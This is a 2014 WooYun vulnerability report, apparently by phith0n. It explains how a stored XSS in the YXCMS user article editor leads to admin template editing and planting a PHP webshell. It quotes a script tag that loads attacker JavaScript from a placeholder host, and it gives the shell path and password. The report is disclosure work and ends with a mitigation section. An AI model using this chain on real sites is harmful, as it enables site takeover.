漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-047805
漏洞标题:YXcmsApp某处xss导致getshell
相关厂商:YXCMS
漏洞作者: phith0n
提交时间:2014-01-05 17:04
修复时间:2014-04-05 17:05
公开时间:2014-04-05 17:05
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-01-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-04-05: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
xss到后台导致getshell一条龙服务~不过略鸡肋。
详细说明:
YXCMS是一款面向企业的内容管理系统,采用三级缓存,MVC架构以BSD协议开源。
注册了用户以后来到用户管理页面,点击信息发布 - 增加咨询,发现是一个富文本编辑器,kindeditor。不管是什么编辑器,既然给了一个用户这么大的权限,这种情况下很容易出现xss。
随便输入点什么东西,抓包,修改content字段内容,写你的xss代码,什么都行。
好了。管理员在后台就能看到我提交的文章:
然后编辑的话就能触发xss:
再利用后台的代码编辑功能我就能直接getshell了,先构造一个javascript,因为这个站是用Jquery写的前端,所以我们的xss代码也能直接用Jquery完成:
一个简单的post提交,因为没有验证token,所以也算一个CSRF。将以上代码保存为http://xxxxx/xx.js,然后作为xss代码就行了:</textarea><script src=”http://xxxx/xx.js”></script>
执行以后就会修改模板,加入我们的一句话。地址就是:/protected/apps/default/view/default/info.php 密码:f4ckkk
我们来到这个文件,可以看到我刚才post过去的内容已经完完整整地躺在那里了:
漏洞证明:
见详细说明。
修复方案:
原因是在接收用户发送来的内容时只对注入进行了防御:
这种富文本的问题处理方式:
1.过滤危险的标签,但因为使用黑名单的方式所以很难完全防御
2.过滤<>'"&等,但又与其富文本的本质相违背
3.最终解决方案:使用ubb,相对来说最安全了。
版权声明:转载请注明来源 phith0n@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝